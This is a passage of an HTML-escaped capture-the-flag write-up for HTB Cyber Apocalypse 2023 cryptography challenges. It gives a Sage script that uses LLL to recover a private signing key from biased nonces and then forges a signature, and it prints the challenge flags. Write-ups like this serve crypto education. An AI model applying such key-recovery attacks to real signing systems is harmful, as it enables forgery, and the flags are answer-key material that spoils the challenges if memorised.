&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cipher&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{y0u_5h0u1d_h4v3_u53d_c00p325m17h}&lt;/strong>&lt;/p>
&lt;h2 id="biased-heritage">Biased Heritage&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/sudo-rainman/ctf_script/tree/main/htb_cyberapocalypse2023/crypto_biased_heritage" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> You emerge from the labyrinth to find a massive door blocking your path to the relic. It has the same authentication mechanism as the entrance, but it appears to be more sophisticated and challenging to crack. Can you devise a plan to breach the door and gain access to the relic?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Compared to the last challenge (Colliding Heritage), &lt;code>k&lt;/code> is now generated by &lt;code>SHA256&lt;/code> insteads which is much more resilient against hash collision attacks than &lt;code>MD5&lt;/code> or nearly impossible to do so. Because of that, our previous attack wouldn&amp;rsquo;t work on this challenge.&lt;/p>
&lt;p>After noticing the word &lt;code>BIASED&lt;/code> in the challenge name, I had a hunch that this chall gonna need some LLL magic. Based on that, I kept looking for a small integer or atleast any repetitive parts of a number (or so called bias), and found one in the followng hashing function.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can easily see that &lt;code>k = 2*SHA256( msg || secret )&lt;/code>. In other words, &lt;code>k = (2^256+1)\*x&lt;/code> where x is unknown &lt;code>256-bit&lt;/code> output from &lt;code>SHA256&lt;/code> function while k is &lt;code>512-bit&lt;/code>. Bingo, LLL time.&lt;/p>
&lt;p>Well, the server allows us to query for 3 times, we should use the first 2 times to collect signatures which are just enough for our use and the last ones to trick the server into giving us the flag. So we got:&lt;/p>
&lt;img src="equations.png" alt="Ảnh thì như này" width="1000"/>
&lt;p>Since &lt;code>S&lt;/code> is known &lt;code>512-bit&lt;/code>, and &lt;code>k&lt;/code> only has &lt;code>256&lt;/code> unknown bits we can start constructing a lattice to solve the SVP problem with LLL now.&lt;/p>
&lt;img src="matrix.png" alt="Ảnh thì như này" width="1000"/>
&lt;p>After LLL, we gonna get a short vector that look like this:&lt;/p>
&lt;img src="vector.png" alt="Ảnh thì như này" width="200"/>
&lt;p>Well, that was alot. Here comes the script in Sage (I parsed signature and submitted signatures all by hands):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">sha256&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">##get 2 signature from server &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sig0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2201384718072843790141885598870601009149158537568071358193592308444053168306421929467556420242693286691490522215468964110881851509880735493338991645390396&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2318623387388989624095214099569047825341708399431253151627450383635519224666598718188372928127571765685778247137818236688391434765968118358634695411837390&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sig1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">5643323405968098617359379045374815314162245377024975944768494215044558381083529231024356935255866448701807811319414715896126937899577482072265546826687923&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1027133811051642261997157563892411730891386064630632377323975878292520406108099727744365069912026927564457147136857066971987676141520708801237151093219205&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s_temp&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">sig0&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">sig1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e_temp&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">sig0&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">sig1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># q prime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">q&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">10183765261512984706477412009638081602843766654569849535936436797593873507566983996455981325952833624810053852919430991796953569087107929681393648627640673&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">preal&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x184e26a581fca2893b2096528eb6103ac03f60b023e1284ebda3ab24ad9a9fe0e37b33eeecc4b3c3b9e50832fd856e9889f6c9a10cde54ee798a7c383d0d8d2c3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">g&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s0&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s1&lt;/span>&lt;span class="o">=&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">temp0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">temp1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">S&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Matrix&lt;/span>&lt;span class="p">([[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">temp0&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">temp1&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">S&lt;/span>&lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]]])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">m&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">LLL&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">sha256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;q0 here&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">preal&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">row&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="ow">or&lt;/span> &lt;span class="n">row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">row&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">k0&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">numerator&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">k0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">k0&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">numerator&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k0&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">k0&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="o">^&lt;/span>&lt;span class="mi">256&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">k0&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secret&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">inverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]))&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">q&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">temp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secret&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">s_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assert&lt;/span> &lt;span class="n">e_temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">temp&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;right hand&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hex&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">secret&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;right hand&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Flag is: &lt;strong>HTB{full_s1z3_n0nc3_l4cks_ful1_s1z3_3ntr0py}&lt;/strong>&lt;/p>
&lt;h2 id="converging-visions">Converging Visions&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you hold the relic in your hands, it prompts you to input a coordinate. The ancient scriptures you uncovered near the pharaoh&amp;rsquo;s tomb reveal that the artifact is capable of transmitting the locations of vessels. The initial coordinate must be within proximity of the vessels, and an algorithm will then calculate their precise locations for transmission. However, you soon discover that the coordinates transmitted are not correct, and are encrypted using advanced alien techniques to prevent unauthorized access. It becomes clear that the true coordinates are hidden, serving only to authenticate those with knowledge of the artifact&amp;rsquo;s secrets. Can you decipher this alien encryption and uncover the genuine coordinates to locate the vessels and destroy them?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Hard&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a Python script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secret&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sage.all_cmdline&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">PRNG&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">mul1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">mul2&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="mi">6089788258325039501929073418355467714844813056959443481824909430411674443639248386564763122373451773381582660411059922334086996696436657009055324008041039&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">exp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mul1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mul2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mul2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">inc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;Coordinates lost in space&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;big&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">mod&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">rotate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
